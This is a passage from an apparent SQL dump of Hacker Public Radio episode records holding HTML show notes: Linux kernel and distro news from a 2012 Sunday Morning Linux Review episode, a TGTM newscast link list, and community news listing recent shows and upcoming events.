(914,'2012-02-01','Sunday Morning Linux Review: Episode 014',4068,'SMLR episode 14','<h2>Sunday Morning Linux Review: Episode 014</h2>\r\n<h3>January 15th, 2012</h3>\r\n\r\n<p>\r\n<a href=\"https://smlr.us\">https://smlr.us</a><br />\r\n</p>\r\n<p>\r\nIntro:<br />\r\n</p>\r\n<p>\r\nMat Enders, Tony Bemus, and Mary Tomich<br />\r\n</p>\r\n<p>\r\nKernel News: Mat<br />\r\n</p>\r\n<p>\r\nRelease Candidates<br />\r\nNone<br />\r\n</p>\r\n<p>\r\nMain Line<br />\r\n3.2 no change<br />\r\n</p>\r\n<p>\r\nStable Releases<br />\r\nGreg KH announced the release of the 2.6.32.54 Kernel Thu, 12 Jan 2012 20:13:20 UTC<br />\r\nThere were 18 files changed, 167 files inserted, and 66 files deleted<br />\r\n</p>\r\n<p>\r\nGreg KH announced the release of the 3.0.17 Kernel Thu, 12 Jan 2012 20:21:36 UTC<br />\r\nThere were 52 files changed, 364 files inserted, and 179 files deleted<br />\r\n</p>\r\n<p>\r\nGreg KH announced the release of the 3.1.9 Kernel Thu, 12 Jan 2012 20:22:18 UTC<br />\r\nThere were 53 files changed, 367 files inserted, and 179 files deleted<br />\r\n</p>\r\n<p>\r\nGreg KH announced the release of the 3.2.1 Kernel Thu, 12 Jan 2012 20:25:05 UTC<br />\r\nThere were 63 files changed, 465 files inserted, and 200 files deleted<br />\r\n</p>\r\n<p>\r\nKernel Quote<br />\r\n</p>\r\n<p>\r\n\"Here’s the different active kernel versions that I am maintaining at the moment:<br />\r\n3.2.y – this will be maintained until 3.3 comes out<br />\r\n3.1.y – there will be only one, maybe two, more releases of this tree<br />\r\n3.0.y – this is the new \"longterm\" kernel release, it will be<br />\r\nmaintained for 2 years at the minimum by me.<br />\r\n2.6.32.y – this is the previous \"longterm\" kernel release. It is<br />\r\napproaching it’s end-of-life, and I think I only have<br />\r\nanother month or so doing releases of this. After I am<br />\r\nfinished with it, it might be picked up by someone else, but<br />\r\nI’m not going to promise anything.<br />\r\nAll other longterm kernels are being maintained in various forms<br />\r\n(usually quite sporadically, if at all), by other people, and I can not<br />\r\nspeak for their lifetime at all, that is up to those individuals.\"<br />\r\n– Greg Kroah-Hartman<br />\r\nThere was also a bit of a dust up between Tim Gardner of Canonical and Greg Kroah-Hartman over maintenance of the 2.6.32 kernel once greg gives it up. It appears to have been started by a misunderstanding and a conclusion jump by Tim.<br />\r\n</p>\r\n<p>\r\nDistro News: Tony<br />\r\n</p>\r\n<p>\r\nDistrowatch.com<br />\r\n</p>\r\n<p>\r\n1-13 – PC-BSD 9.0 – desktop-oriented distribution based on the latest stable FreeBSD<br />\r\n1-12 – FreeBSD 9.0 – a major new version of the BSD operating featuring a brand-new system installer<br />\r\n1-12 – Webconverger 11.0 – a web browser-only specialist distribution for Internet kiosks<br />\r\n1-11 – Astaro Security Gateway 8.3 – specialist distribution for firewall and gateways<br />\r\n1-10 - Asturix 4 – Ubuntu-based desktop distribution with a custom desktop environment and many usability improvements<br />\r\n1-10 – Fuduntu 2012.1 – a new quarterly update of the distribution that was forked from Fedora last year<br />\r\n1-8 – Porteus 1.1 – Slackware-based live CD with a choice of Trinity (a KDE 3 fork), KDE 4 and LXDE desktops<br />\r\nMat did you know about the KDE 3 fork, Trinity?<br />\r\n</p>\r\n<p>\r\nDistro of the Week: Tony<br />\r\n</p>\r\n<p>\r\nFuduntu – 1433<br />\r\nopenSUSE – 1440<br />\r\nFedora – 1495<br />\r\nUbuntu – 1873<br />\r\nMint – 4248<br />\r\nTech News:<br />\r\n</p>\r\n<p>\r\nMicrosoft Now Collects Extortion On Approximatley 70% Of All US Sales Of Androids<br />\r\n</p>\r\n<p>\r\nLG is the latest victim to pay Microsoft’s extortion demands. They are the eleventh victim in this extortion scheme. A list of the other victims includes Samsung, HTC, and Acer. This leaves Motorola Mobility as the only major manufacturer to not sign an extortion agreement with Microsoft. I would wager that Microsoft has not even approached Motorola as Google now owns Motorola and those pockets are deep enough to scare off the Microsoft patent trolls. Microsoft now claims that they are collecting \"royalties\" on over 70% of all Android smart phones sold in the US. The terms of this latest agreement are unknown as Microsoft makes part of the agreement that the parties can not make public the patents covered by Microsoft’s claims. In other words a typical extortion agreement.<br />\r\n</p>\r\n<p>\r\nThe MPAA Instigates A Dustup with Ars Technica<br />\r\nOn 1/10 the MPAA (Motion Picture Associtation of America) said on it’s blog, \"… Ars Technica, a tech blog with a long history of challenging efforts to curb content theft,\". This entire claim by the MPAA appears to be Ars Technica opposing things in the past like the broadcast flag which would have allowed remote control of peoples home entertainment recording devices, along with their stand against DRM that prevents owners from ripping legal backup copies of their DVDs. Ars also has publicly opposed the horrendous SOPA legislation currently in front of Congress. It is obvious that the MPAA’s position is the wacky correlation of fighting for consumers’ rights is the equivalent of having no enforcement at all.<br />\r\n</p>\r\n<p>\r\nNot that any representative of the MPAA would ever engage in outlandish statements to further their cause. Like this quote from Jack Valenti when he appeared before congress in 1982, \"I say to you that the VCR is to the American film producer and the American public as the Boston strangler is to the woman home alone.\"<br />\r\n</p>\r\n<p>\r\nUnited States Migrates Spy Drone Control Panels From Windows To Linux<br />\r\nLast September the ground control systems for the Reaper drones, which reside at the Creech Air Force Base in Nevada, became infected with a virus. When it happed the Air Force dismissed this intrusion as a nuisance that posed no real threat, it was however taken very seriously.<br />\r\n</p>\r\n<p>\r\nStill the discovery of this virus on the Air Force’s systems was a huge embarrassment. This is what they had to say at the time:<br />\r\n</p>\r\n<p>\r\n\"The malware in question is a credential stealer, not a key logger, found routinely on computer networks and is considered more of a nuisance than an operational threat. It is not designed to transmit data or video, nor is it designed to corrupt data, files or programs on the infected computer. Our tools and processes detect this type of malware as soon as it appears on the system, preventing further reach.\", they also went on to say, \"The ground system is separate from the flight control system Air Force pilots use to fly the aircraft remotely; the ability of the pilots to safely fly these aircraft remained secure throughout the incident,\"<br />\r\nScreen shots of drone control computers posted by security researcher Mikko Hypponen show that some of the systems have been migrated from Microsoft Windows to Linux. In a statement Mikko Hypponen said,<br />\r\n</p>\r\n<p>\r\n\"If I would need to select between Windows XP and a Linux based system while building a military system, I wouldn’t doubt a second which one I would take.\"<br />\r\nOpen Source Surgery, a Robot called Raven takes Flight<br />\r\n</p>\r\n<p>\r\nThe Raven 2 is a surgical robot with 7 degrees of freedom, compact electronics and two wing-like arms which end in tiny gripper claws designed to perform surgery on simulated patients. The robot’s software is compatible with Robot Operating System, an open source robotics coding platform.<br />\r\nJanuary 20, 2012 is Penguin Awareness Day<br />\r\nep0898 :: Hacker Public Radio New Year’s Eve Part 8/8 (The After Show)<br />\r\nfiftyonefifty mentions us as one of the new podcasts that he likes!! Thanks!<br />\r\n</p>\r\n<p>\r\nRaspberry Pi Linux micro machine enters mass production<br />\r\nThe Commodore 64 is 30<br />\r\nOuttro Music:<br />\r\n</p>\r\n<p>\r\nAcross my way by Matthew Morris<br />\r\n</p>\r\n',159,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2250,1),
(915,'2012-02-02','TGTM Newscast for 2012/01/17',1399,'A newscast from Talk Geek to Me','<p>Shownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-58.html\">Show Notes for TGTM news 58</a></p>\r\n<h2 style=\"text-align: center;\">TGTM Newscast for 2012/01/17 by DeepGeek</h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.democracynow.org/2012/1/13/headlines#1\">Presiding Officer Recommends Court-Martial for Manning</a></li>\r\n  <li><a href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&ew_0_a_id=386295\">Glitnir Winding-Up Committee Sues Executives</a></li>\r\n  <li><a href=\"https://dissentingdemocrat.wordpress.com/2012/01/14/new-hampshire-primary-results-no-not-that-one/\">New Hampshire Primary Results — No Not That One</a></li>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/01/09/the-more-the-better/\">The More the Better</a> (spike in sex workers.)</li>\r\n  <li><a href=\"https://spankthespooki.blogspot.com/2012/01/left-right-or-truth.html\">Left, Right or the truth?</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/internet-goes-washington-january-18\">The Internet Goes to Washington on January 18</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/biometrics-argentina-mass-surveillance-state-policy\">Biometrics in Argentina: Mass Surveillance as a State Policy</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/the-pirate-bay-shows-futility-of-domain-and-dns-blocks-120109/\">The Pirate Bay Shows Futility of Domain and DNS Blocks</a>  </li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120102/04270317251/why-apple-will-not-be-part-real-tablet-revolution.shtml\">Why Apple Will Not Be Part Of The Real Tablet Revolution</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/the-pirate-bay-will-stop-serving-torrents-120112/\">The Pirate Bay Will Stop Serving Torrents</a>  </li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://blog.aflcio.org/2012/01/11/calif-car-washes-agree-to-1-million-back-pay-settlement-2/\">Calif. Carwashes Agree to $1 Million Back Pay Settlement</a>  </li>\r\n  <li><a href=\"https://creativecommons.org/weblog/entry/31205\">New pilot project allows collecting society SACEM members to use Creative Commons licenses</a>  </li>\r\n  <li><a href=\"https://wlcentral.org/node/2429\">Assange Extradition Fact Sheet: 15 Overlooked Facts</a>  </li>\r\n  <li><a href=\"https://wlcentral.org/node/2426\">Argentina to Brazil: Please Don\'t Get the Bomb</a>  </li>\r\n  <li><a href=\"https://inthesetimes.com/working/entry/12504/one_hundred_years_after_lawrence_strike_the_cry_for_bread_roses_still_reson/\">100 Years After Lawrence Strike, the Cry for ‘Bread &amp; Roses’ Still Resonates</a>  </li>\r\n</ul>\r\n<p>News from \"icelandreview.com, \" \"dissentingdemocrat.wordpress.com,\" \"maggiemcneill.wordpress.com,\" \"spankthespooki.blogspot.com,\" and \"techdirt.com\" used\r\nunder arranged permission. News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license. News from \"democracynow.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p>\r\n<p>Audio Interlude, MOC #106, used under permission of Lee Camp.<br/>\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n  <li><a href=\"https://www.talkgeektome.us/tgtmnews-58.html\">https://www.talkgeektome.us/tgtmnews-58.html</a>  </li>\r\n  <li><a href=\"https://www.democracynow.org/2012/1/13/headlines#1\">https://www.democracynow.org/2012/1/13/headlines#1</a>  </li>\r\n  <li><a\r\n  href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&ew_0_a_id=386295\">https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=386295</a>  </li>\r\n  <li><a href=\"https://dissentingdemocrat.wordpress.com/2012/01/14/new-hampshire-primary-results-no-not-that-one/\">https://dissentingdemocrat.wordpress.com/2012/01/14/new-hampshire-primary-results-no-not-that-one/</a>  </li>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/01/09/the-more-the-better/\">https://maggiemcneill.wordpress.com/2012/01/09/the-more-the-better/</a>  </li>\r\n  <li><a href=\"https://spankthespooki.blogspot.com/2012/01/left-right-or-truth.html\">https://spankthespooki.blogspot.com/2012/01/left-right-or-truth.html</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/internet-goes-washington-january-18\">https://www.eff.org/deeplinks/2012/01/internet-goes-washington-january-18</a>  </li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/01/biometrics-argentina-mass-surveillance-state-policy\">https://www.eff.org/deeplinks/2012/01/biometrics-argentina-mass-surveillance-state-policy</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/the-pirate-bay-shows-futility-of-domain-and-dns-blocks-120109/\">https://torrentfreak.com/the-pirate-bay-shows-futility-of-domain-and-dns-blocks-120109/</a>  </li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120102/04270317251/why-apple-will-not-be-part-real-tablet-revolution.shtml\">https://www.techdirt.com/articles/20120102/04270317251/why-apple-will-not-be-part-real-tablet-revolution.shtml</a>  </li>\r\n  <li><a href=\"https://torrentfreak.com/the-pirate-bay-will-stop-serving-torrents-120112/\">https://torrentfreak.com/the-pirate-bay-will-stop-serving-torrents-120112/</a>  </li>\r\n  <li><a href=\"https://blog.aflcio.org/2012/01/11/calif-car-washes-agree-to-1-million-back-pay-settlement-2/\">https://blog.aflcio.org/2012/01/11/calif-car-washes-agree-to-1-million-back-pay-settlement-2/</a>  </li>\r\n  <li><a href=\"https://creativecommons.org/weblog/entry/31205\">https://creativecommons.org/weblog/entry/31205</a>  </li>\r\n  <li><a href=\"https://wlcentral.org/node/2429\">https://wlcentral.org/node/2429</a>  </li>\r\n  <li><a href=\"https://wlcentral.org/node/2426\">https://wlcentral.org/node/2426</a>  </li>\r\n  <li><a href=\"https://inthesetimes.com/working/entry/12504/one_hundred_years_after_lawrence_strike_the_cry_for_bread_roses_still_reson/\">https://inthesetimes.com/working/entry/12504/one_hundred_years_after_lawrence_strike_the_cry_for_bread_roses_still_reson/</a>  </li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2184,1),
(916,'2012-02-05','HPR Community News for Dec 2011/Jan 2012',4884,'HPR Community News for Dec 2011/Jan 2012','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\">Frank Bell</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=196\">NYbill and Windigo</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=197\">garjola</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=199\">Akranis</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=200\">mordancy</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=202\">BrocktonBob</a>, \r\nand\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=203\">dmfrey</a>.\r\n</p>\r\n<h2><a href=\"https://hackerpublicradio.org/cc.php?sort=desc&min=871&max=915\">Show Review</a></h2>\r\n<table>\r\n<thead><tr>\r\n<th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">871</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Community News for Nov 2011</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">872</td>\r\n<td  class=\"data inline_edit not_null even  \">Packaging YUM</td>\r\n<td  class=\"data inline_edit not_null even  \">klaatu</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">873</td>\r\n<td  class=\"data inline_edit not_null odd  \">Philip and Rebecca Newborough of CrunchBang</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">874</td>\r\n<td  class=\"data inline_edit not_null even  \">Interview: Lucy Chambers, Open Knowledge Foundation</td>\r\n<td  class=\"data inline_edit not_null even  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">875</td>\r\n<td  class=\"data inline_edit not_null odd  \">Replacing Older Hardware</td>\r\n<td  class=\"data inline_edit not_null odd  \">JWP</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">876</td>\r\n<td  class=\"data inline_edit not_null even  \">Packaging applications: BSD ports</td>\r\n<td  class=\"data inline_edit not_null even  \">klaatu</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">877</td>\r\n<td  class=\"data inline_edit not_null odd  \">Welcome Frank Bell</td>\r\n<td  class=\"data inline_edit not_null odd  \">Frank Bell</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">878</td>\r\n<td  class=\"data inline_edit not_null even  \">OpenShorts Episode 4</td>\r\n<td  class=\"data inline_edit not_null even  \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">879</td>\r\n<td  class=\"data inline_edit not_null odd  \">SMLR 009</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">880</td>\r\n<td  class=\"data inline_edit not_null even  \">Handbook for the Criminally Insane</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR_AudioBookClub</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">881</td>\r\n<td  class=\"data inline_edit not_null odd  \">Intel Atom processor</td>\r\n<td  class=\"data inline_edit not_null odd  \">JWP</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">882</td>\r\n<td  class=\"data inline_edit not_null even  \">RPM format</td>\r\n<td  class=\"data inline_edit not_null even  \">klaatu</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">883</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dan Lynch interview</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">884</td>\r\n<td  class=\"data inline_edit not_null even  \">Cross Platform Streaming</td>\r\n<td  class=\"data inline_edit not_null even  \">Knightwise</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">885</td>\r\n<td  class=\"data inline_edit not_null odd  \">Redo Backup and Recovery 1.0.1.</td>\r\n<td  class=\"data inline_edit not_null odd  \">Johninsc</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">886</td>\r\n<td  class=\"data inline_edit not_null even  \">Product lifecycle management (PLM)</td>\r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">887</td>\r\n<td  class=\"data inline_edit not_null odd  \">init()</td>\r\n<td  class=\"data inline_edit not_null odd  \">NYbill and Windigo</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">888</td>\r\n<td  class=\"data inline_edit not_null even  \">EMACS Help Sources</td>\r\n<td  class=\"data inline_edit not_null even  \">JWP</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">889</td>\r\n<td  class=\"data inline_edit not_null odd  \">New Year\'s Eve Show Announcement</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">890</td>\r\n<td  class=\"data inline_edit not_null even  \">Where\'s my flying car !</td>\r\n<td  class=\"data inline_edit not_null even  \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">891</td>\r\n<td  class=\"data inline_edit not_null odd  \">Hacker Public Radio New Year\'s Eve Part 1/8</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">892</td>\r\n<td  class=\"data inline_edit not_null even  \">Hacker Public Radio New Year\'s Eve Part 2/8 (A Bit About Fedora)</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">893</td>\r\n<td  class=\"data inline_edit not_null odd  \">Hacker Public Radio New Year\'s Eve Part 3/8 (Everybody loves Crunchbang... except Klaatu)</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">894</td>\r\n<td  class=\"data inline_edit not_null even  \">Hacker Public Radio New Year\'s Eve Part 4/8 (Mrs Cornominal brings the naughty)</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">895</td>\r\n<td  class=\"data inline_edit not_null odd  \">Hacker Public Radio New Year\'s Eve Part 5/8 (Funding Free Culture)</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">896</td>\r\n<td  class=\"data inline_edit not_null even  \">Hacker Public Radio New Year\'s Eve Part 6/8 (The Unix Fight and Thank You Kevin)</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">897</td>\r\n<td  class=\"data inline_edit not_null odd  \">Hacker Public Radio New Year\'s Eve Part 7/8 (The Grand Finale)</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">898</td>\r\n<td  class=\"data inline_edit not_null even  \">Hacker Public Radio New Year\'s Eve Part 8/8 (The After Show)</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">899</td>\r\n<td  class=\"data inline_edit not_null odd  \">Sunday Morning Linux Review - New Year Show</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">900</td>\r\n<td  class=\"data inline_edit not_null even  \">Episode 000 - Introduction</td>\r\n<td  class=\"data inline_edit not_null even  \">garjola</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">901</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ahuka: Intro and How I Got Into Linux</td>\r\n<td  class=\"data inline_edit not_null odd  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">902</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Tech News for 2012-01-09</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">903</td>\r\n<td  class=\"data inline_edit not_null odd  \">SOPA Protest</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">904</td>\r\n<td  class=\"data inline_edit not_null even  \">Frostcast Northeast GNU/linux fest.</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">905</td>\r\n<td  class=\"data inline_edit not_null odd  \">Akranis: How I got into Linux </td>\r\n<td  class=\"data inline_edit not_null odd  \">Akranis</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">906</td>\r\n<td  class=\"data inline_edit not_null even  \">FOSDEM 2012</td>\r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">907</td>\r\n<td  class=\"data inline_edit not_null odd  \">Learning</td>\r\n<td  class=\"data inline_edit not_null odd  \">mordancy</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">908</td>\r\n<td  class=\"data inline_edit not_null even  \">TV Downloader TED</td>\r\n<td  class=\"data inline_edit not_null even  \">riddlebox</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">909</td>\r\n<td  class=\"data inline_edit not_null odd  \">KC0058 : Streampunking with Instapaper</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">910</td>\r\n<td  class=\"data inline_edit not_null even  \">Introduction to Pagekite.</td>\r\n<td  class=\"data inline_edit not_null even  \">Kevin Granade</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">911</td>\r\n<td  class=\"data inline_edit not_null odd  \">Hobbies</td>\r\n<td  class=\"data inline_edit not_null odd  \">MrX</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">912</td>\r\n<td  class=\"data inline_edit not_null even  \">How I cut The Cable Cord Part1</td>\r\n<td  class=\"data inline_edit not_null even  \">BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">913</td>\r\n<td  class=\"data inline_edit not_null odd  \">Exchanging Data Podcast 1</td>\r\n<td  class=\"data inline_edit not_null odd  \">dmfrey</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">914</td>\r\n<td  class=\"data inline_edit not_null even  \">Sunday Morning Linux Review: Episode 014</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">915</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Newscast for 2012/01/17</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n<h2>New Regular Slots</h2>\r\n<ul>\r\n<li><strong>1st Monday every month:</strong> HPR Admins with \"Community News\"</li>\r\n<li><strong>Every Thursday:</strong> HPR Presents: Syndicated Shows/Talks/Other works of note.</li>\r\n<li><strong>1st Thursday every month:</strong> <a href=\"https://smlr.us/\">Sunday Morning Linux Review</a>.</li>\r\n<li><strong>Most Fridays:</strong> <a href=\"https://www.talkgeektome.us/\">Talk Geek To Me</a>.</li>\r\n<li><strong>Every second Tuesday:</strong> linux in the shell</li>\r\n</ul>\r\n<h2>Thanks To</h2>\r\n<p>\r\nToo many to thank.\r\n</p>\r\n<h2>Sorry To</h2>\r\n<p>\r\nToo many to apologise to.\r\n</p>\r\n\r\n<h2>Other items</h2>\r\n<p>\r\nHPR vetting policy relating to adult, political, etc....<br />\r\nShould we release at weekends<br />\r\n</p>\r\n\r\n<h2>Episode 1000 and 1024</h2>\r\n<p>\r\nWe should come up with an idea to celebrate Ep1000 ?<br />\r\nAnswer = <strong>YES</strong>\r\n</p>\r\n<p>\r\nFor episode 1000 we will be gathering a sample of community members emailing their congratulations but for episode 1024 :) \r\n</p>\r\n<p>\r\nFiftyOneFifty will be coordinating a EPIC \"live\" show so please email your contributions to ep1k@hackerpublicradio.org\r\n</p>\r\n\r\n<h2>Events</h2>\r\nWow t\r\n<p>\r\nWe need an event manager<br />\r\nPlease add your event to <a href=\"https://fossevents.org/\">https://fossevents.org/</a><br />\r\n<table>\r\n<thead>\r\n<tr>\r\n  <th>When</th>\r\n  <th>What</th>\r\n  <th>Where</th>\r\n  <th>Who</th>\r\n  </tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n  <td>2012-01-20..22</td>\r\n  <td>Southern California Linux Expo (SCALE)</td>\r\n  <td></td>\r\n  <td></td>\r\n</tr>\r\n<tr>\r\n  <td>2012-02-04..05</td>\r\n  <td>Free and Open source Software Developers\' European Meeting (FOSDEM) </td>\r\n  <td><a href=\"https://fosdem.org/2012/\">https://fosdem.org/2012/</a></td>\r\n  <td></td>\r\n</tr>\r\n<tr>\r\n  <td>2012-03-17</td><!-- when -->\r\n  <td>The Northeast GNU/Linux fest</td><!-- what -->\r\n  <td><a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a></td><!-- where -->\r\n  <td>Pokey/Klaatu</td><!-- who -->\r\n</tr>\r\n<tr>\r\n  <td>2012-04-28..29</td>\r\n  <td>LinuxFest Northwest</td>\r\n  <td><a 